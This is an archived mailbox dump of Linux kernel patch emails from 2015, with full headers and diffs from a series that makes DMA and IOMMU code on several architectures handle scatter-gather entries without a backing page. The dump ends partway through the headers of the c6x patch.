Xref: news.gmane.org gmane.linux.kernel:2018382 gmane.linux.kernel.cross-arch:28847 gmane.linux.ports.alpha:3288 gmane.linux.ports.ia64:25687 gmane.linux.kernel.metag:598 gmane.linux.ports.mips.general:49942 gmane.linux.ports.parisc:25914 gmane.linux.ports.ppc64.devel:116739 gmane.linux.ports.sparc:21393 gmane.linux.drivers.video-input-infrastructure:93937
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2018382>

Only call kmap_atomic_primary when the SG entry is mapped into
kernel virtual space.

XXX: the code already looks odd due to the lack of pairing between
kmap_atomic_primary and kunmap_atomic_primary.  Does it work either
before or after this patch?

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/frv/mb93090-mb00/pci-dma.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/arch/frv/mb93090-mb00/pci-dma.c b/arch/frv/mb93090-mb00/pci-dma.c
index 4d1f01d..77b3a1c 100644
--- a/arch/frv/mb93090-mb00/pci-dma.c
+++ b/arch/frv/mb93090-mb00/pci-dma.c
@@ -63,6 +63,9 @@ int dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	dampr2 = __get_DAMPR(2);
 
 	for_each_sg(sglist, sg, nents, i) {
+		if (!sg_has_page(sg))
+			continue;
+
 		vaddr = kmap_atomic_primary(sg_page(sg));
 
 		frv_dcache_writeback((unsigned long) vaddr,
-- 
1.9.1


From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 30/31] intel-iommu: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:49 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <1439363150-8661-31-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363461 27065 80.91.229.3 (12 Aug 2015 07:11:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:11:01 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-arch-owner@vger.kernel.org Wed Aug 12 09:10:58 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZPQBd-0006jL-Ms
	for glka-linux-arch@plane.gmane.org; Wed, 12 Aug 2015 09:10:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965485AbbHLHKz (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 12 Aug 2015 03:10:55 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53444 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965423AbbHLHKM (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 12 Aug 2015 03:10:12 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAo-0002Co-MK; Wed, 12 Aug 2015 07:10:07 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28848 gmane.linux.kernel:2018383 gmane.linux.ports.alpha:3289 gmane.linux.ports.ia64:25688 gmane.linux.kernel.metag:599 gmane.linux.ports.mips.general:49943 gmane.linux.ports.parisc:25915 gmane.linux.ports.ppc64.devel:116740 gmane.linux.ports.sparc:21394 gmane.linux.drivers.video-input-infrastructure:93938
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28848>

Just remove a BUG_ON, the code handles them just fine as-is.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/iommu/intel-iommu.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/drivers/iommu/intel-iommu.c b/drivers/iommu/intel-iommu.c
index 3541d65..ae10573 100644
--- a/drivers/iommu/intel-iommu.c
+++ b/drivers/iommu/intel-iommu.c
@@ -3622,7 +3622,6 @@ static int intel_nontranslate_map_sg(struct device *hddev,
 	struct scatterlist *sg;
 
 	for_each_sg(sglist, sg, nelems, i) {
-		BUG_ON(!sg_page(sg));
 		sg->dma_address = sg_phys(sg);
 		sg->dma_length = sg->length;
 	}
-- 
1.9.1


From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 06/31] alpha/pci-noop: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:25 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <1439363150-8661-7-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363482 27645 80.91.229.3 (12 Aug 2015 07:11:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:11:22 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:11:15 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQBv-0006wx-3J
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:11:15 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37045 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27012134AbbHLHLNJrq7j (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:11:13 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:10:57 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34822 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011249AbbHLHJCQxnmj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:09:02 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQ9f-0001WV-Cc; Wed, 12 Aug 2015 07:08:55 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48782
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49944 gmane.linux.kernel:2018384 gmane.linux.kernel.cross-arch:28849 gmane.linux.ports.alpha:3290 gmane.linux.ports.ia64:25689 gmane.linux.kernel.metag:600 gmane.linux.ports.parisc:25916 gmane.linux.ports.ppc64.devel:116741 gmane.linux.ports.sparc:21395 gmane.linux.drivers.video-input-infrastructure:93939
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49944>

Use sg_phys() instead of virt_to_phys(sg_virt(sg)) so that we don't
require a kernel virtual address.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/alpha/kernel/pci-noop.c | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/arch/alpha/kernel/pci-noop.c b/arch/alpha/kernel/pci-noop.c
index df24b76..7319151 100644
--- a/arch/alpha/kernel/pci-noop.c
+++ b/arch/alpha/kernel/pci-noop.c
@@ -145,11 +145,7 @@ static int alpha_noop_map_sg(struct device *dev, struct scatterlist *sgl, int ne
 	struct scatterlist *sg;
 
 	for_each_sg(sgl, sg, nents, i) {
-		void *va;
-
-		BUG_ON(!sg_page(sg));
-		va = sg_virt(sg);
-		sg_dma_address(sg) = (dma_addr_t)virt_to_phys(va);
+		sg_dma_address(sg) = (dma_addr_t)sg_phys(sg);
 		sg_dma_len(sg) = sg->length;
 	}
 
-- 
1.9.1




From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 07/31] alpha/pci_iommu: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:26 +0200
Lines: 162
Approved: news@gmane.org
Message-ID: <1439363150-8661-8-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363504 27850 80.91.229.3 (12 Aug 2015 07:11:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:11:44 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:11:36 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQCD-00079s-VM
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:11:34 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37158 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27012051AbbHLHLcSRPCj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:11:32 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:11:15 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34844 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011311AbbHLHJGzGp8j (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:09:06 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQ9i-0001Xh-7d; Wed, 12 Aug 2015 07:08:58 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48783
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49945 gmane.linux.kernel:2018385 gmane.linux.kernel.cross-arch:28850 gmane.linux.ports.alpha:3291 gmane.linux.ports.ia64:25690 gmane.linux.kernel.metag:601 gmane.linux.ports.parisc:25917 gmane.linux.ports.ppc64.devel:116742 gmane.linux.ports.sparc:21396 gmane.linux.drivers.video-input-infrastructure:93940
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49945>

Use sg_phys() instead of virt_to_phys(sg_virt(sg)) so that we don't
require a kernel virtual address, and switch a few debug printfs to
print physical instead of virtual addresses.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/alpha/kernel/pci_iommu.c | 36 +++++++++++++++---------------------
 1 file changed, 15 insertions(+), 21 deletions(-)

diff --git a/arch/alpha/kernel/pci_iommu.c b/arch/alpha/kernel/pci_iommu.c
index eddee77..5d46b49 100644
--- a/arch/alpha/kernel/pci_iommu.c
+++ b/arch/alpha/kernel/pci_iommu.c
@@ -248,20 +248,17 @@ static int pci_dac_dma_supported(struct pci_dev *dev, u64 mask)
    until either pci_unmap_single or pci_dma_sync_single is performed.  */
 
 static dma_addr_t
-pci_map_single_1(struct pci_dev *pdev, void *cpu_addr, size_t size,
+pci_map_single_1(struct pci_dev *pdev, unsigned long paddr, size_t size,
 		 int dac_allowed)
 {
 	struct pci_controller *hose = pdev ? pdev->sysdata : pci_isa_hose;
 	dma_addr_t max_dma = pdev ? pdev->dma_mask : ISA_DMA_MASK;
 	struct pci_iommu_arena *arena;
 	long npages, dma_ofs, i;
-	unsigned long paddr;
 	dma_addr_t ret;
 	unsigned int align = 0;
 	struct device *dev = pdev ? &pdev->dev : NULL;
 
-	paddr = __pa(cpu_addr);
-
 #if !DEBUG_NODIRECT
 	/* First check to see if we can use the direct map window.  */
 	if (paddr + size + __direct_map_base - 1 <= max_dma
@@ -269,7 +266,7 @@ pci_map_single_1(struct pci_dev *pdev, void *cpu_addr, size_t size,
 		ret = paddr + __direct_map_base;
 
 		DBGA2("pci_map_single: [%p,%zx] -> direct %llx from %pf\n",
-		      cpu_addr, size, ret, __builtin_return_address(0));
+		      paddr, size, ret, __builtin_return_address(0));
 
 		return ret;
 	}
@@ -280,7 +277,7 @@ pci_map_single_1(struct pci_dev *pdev, void *cpu_addr, size_t size,
 		ret = paddr + alpha_mv.pci_dac_offset;
 
 		DBGA2("pci_map_single: [%p,%zx] -> DAC %llx from %pf\n",
-		      cpu_addr, size, ret, __builtin_return_address(0));
+		      paddr, size, ret, __builtin_return_address(0));
 
 		return ret;
 	}
@@ -309,15 +306,15 @@ pci_map_single_1(struct pci_dev *pdev, void *cpu_addr, size_t size,
 		return 0;
 	}
 
+	offset = paddr & ~PAGE_MASK;
 	paddr &= PAGE_MASK;
 	for (i = 0; i < npages; ++i, paddr += PAGE_SIZE)
 		arena->ptes[i + dma_ofs] = mk_iommu_pte(paddr);
 
-	ret = arena->dma_base + dma_ofs * PAGE_SIZE;
-	ret += (unsigned long)cpu_addr & ~PAGE_MASK;
+	ret = arena->dma_base + dma_ofs * PAGE_SIZE + offset;
 
 	DBGA2("pci_map_single: [%p,%zx] np %ld -> sg %llx from %pf\n",
-	      cpu_addr, size, npages, ret, __builtin_return_address(0));
+	      paddr, size, npages, ret, __builtin_return_address(0));
 
 	return ret;
 }
@@ -357,7 +354,7 @@ static dma_addr_t alpha_pci_map_page(struct device *dev, struct page *page,
 	BUG_ON(dir == PCI_DMA_NONE);
 
 	dac_allowed = pdev ? pci_dac_dma_supported(pdev, pdev->dma_mask) : 0; 
-	return pci_map_single_1(pdev, (char *)page_address(page) + offset, 
+	return pci_map_single_1(pdev, page_to_phys(page) + offset,
 				size, dac_allowed);
 }
 
@@ -453,7 +450,7 @@ try_again:
 	}
 	memset(cpu_addr, 0, size);
 
-	*dma_addrp = pci_map_single_1(pdev, cpu_addr, size, 0);
+	*dma_addrp = pci_map_single_1(pdev, __pa(cpu_addr), size, 0);
 	if (*dma_addrp == 0) {
 		free_pages((unsigned long)cpu_addr, order);
 		if (alpha_mv.mv_pci_tbi || (gfp & GFP_DMA))
@@ -497,9 +494,6 @@ static void alpha_pci_free_coherent(struct device *dev, size_t size,
    Write dma_length of each leader with the combined lengths of
    the mergable followers.  */
 
-#define SG_ENT_VIRT_ADDRESS(SG) (sg_virt((SG)))
-#define SG_ENT_PHYS_ADDRESS(SG) __pa(SG_ENT_VIRT_ADDRESS(SG))
-
 static void
 sg_classify(struct device *dev, struct scatterlist *sg, struct scatterlist *end,
 	    int virt_ok)
@@ -512,13 +506,13 @@ sg_classify(struct device *dev, struct scatterlist *sg, struct scatterlist *end,
 	leader = sg;
 	leader_flag = 0;
 	leader_length = leader->length;
-	next_paddr = SG_ENT_PHYS_ADDRESS(leader) + leader_length;
+	next_paddr = sg_phys(leader) + leader_length;
 
 	/* we will not marge sg without device. */
 	max_seg_size = dev ? dma_get_max_seg_size(dev) : 0;
 	for (++sg; sg < end; ++sg) {
 		unsigned long addr, len;
-		addr = SG_ENT_PHYS_ADDRESS(sg);
+		addr = sg_phys(sg);
 		len = sg->length;
 
 		if (leader_length + len > max_seg_size)
@@ -555,7 +549,7 @@ sg_fill(struct device *dev, struct scatterlist *leader, struct scatterlist *end,
 	struct scatterlist *out, struct pci_iommu_arena *arena,
 	dma_addr_t max_dma, int dac_allowed)
 {
-	unsigned long paddr = SG_ENT_PHYS_ADDRESS(leader);
+	unsigned long paddr = sg_phys(leader);
 	long size = leader->dma_length;
 	struct scatterlist *sg;
 	unsigned long *ptes;
@@ -621,7 +615,7 @@ sg_fill(struct device *dev, struct scatterlist *leader, struct scatterlist *end,
 #endif
 
 		size = sg->length;
-		paddr = SG_ENT_PHYS_ADDRESS(sg);
+		paddr = sg_phys(sg);
 
 		while (sg+1 < end && (int) sg[1].dma_address == -1) {
 			size += sg[1].length;
@@ -636,11 +630,11 @@ sg_fill(struct device *dev, struct scatterlist *leader, struct scatterlist *end,
 
 #if DEBUG_ALLOC > 0
 		DBGA("    (%ld) [%p,%x] np %ld\n",
-		     last_sg - leader, SG_ENT_VIRT_ADDRESS(last_sg),
+		     last_sg - leader, sg_phys(last_sg),
 		     last_sg->length, npages);
 		while (++last_sg <= sg) {
 			DBGA("        (%ld) [%p,%x] cont\n",
-			     last_sg - leader, SG_ENT_VIRT_ADDRESS(last_sg),
+			     last_sg - leader, sg_phys(last_sg),
 			     last_sg->length);
 		}
 #endif
@@ -668,7 +662,7 @@ static int alpha_pci_map_sg(struct device *dev, struct scatterlist *sg,
 	if (nents == 1) {
 		sg->dma_length = sg->length;
 		sg->dma_address
-		  = pci_map_single_1(pdev, SG_ENT_VIRT_ADDRESS(sg),
+		  = pci_map_single_1(pdev, sg_phys(sg),
 				     sg->length, dac_allowed);
 		return sg->dma_address != 0;
 	}
-- 
1.9.1




From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 28/31] powerpc: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:47 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <1439363150-8661-29-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363514 27921 80.91.229.3 (12 Aug 2015 07:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:11:54 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: sparclinux-owner@vger.kernel.org Wed Aug 12 09:11:50 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZPQCR-0007IT-Om
	for lnx-sparclinux@plane.gmane.org; Wed, 12 Aug 2015 09:11:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934151AbbHLHLg (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 12 Aug 2015 03:11:36 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53398 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965382AbbHLHKH (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 12 Aug 2015 03:10:07 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAi-0001v9-TQ; Wed, 12 Aug 2015 07:10:01 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21397 gmane.linux.kernel:2018386 gmane.linux.kernel.cross-arch:28851 gmane.linux.ports.alpha:3292 gmane.linux.ports.ia64:25691 gmane.linux.kernel.metag:602 gmane.linux.ports.mips.general:49946 gmane.linux.ports.parisc:25918 gmane.linux.ports.ppc64.devel:116743 gmane.linux.drivers.video-input-infrastructure:93941
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21397>

Make all cache invalidation conditional on sg_has_page().

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/powerpc/kernel/dma.c | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index 35e4dcc..cece40b 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -135,7 +135,10 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	for_each_sg(sgl, sg, nents, i) {
 		sg->dma_address = sg_phys(sg) + get_dma_offset(dev);
 		sg->dma_length = sg->length;
-		__dma_sync_page(sg_page(sg), sg->offset, sg->length, direction);
+		if (sg_has_page(sg)) {
+			__dma_sync_page(sg_page(sg), sg->offset, sg->length,
+					direction);
+		}
 	}
 
 	return nents;
@@ -200,7 +203,10 @@ static inline void dma_direct_sync_sg(struct device *dev,
 	int i;
 
 	for_each_sg(sgl, sg, nents, i)
-		__dma_sync_page(sg_page(sg), sg->offset, sg->length, direction);
+		if (sg_has_page(sg)) {
+			__dma_sync_page(sg_page(sg), sg->offset, sg->length,
+					direction);
+		}
 }
 
 static inline void dma_direct_sync_single(struct device *dev,
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 08/31] c6x: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:27 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <1439363150-8661-9-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363521 27972 80.91.229.3 (12 Aug 2015 07:12:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:12:01 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
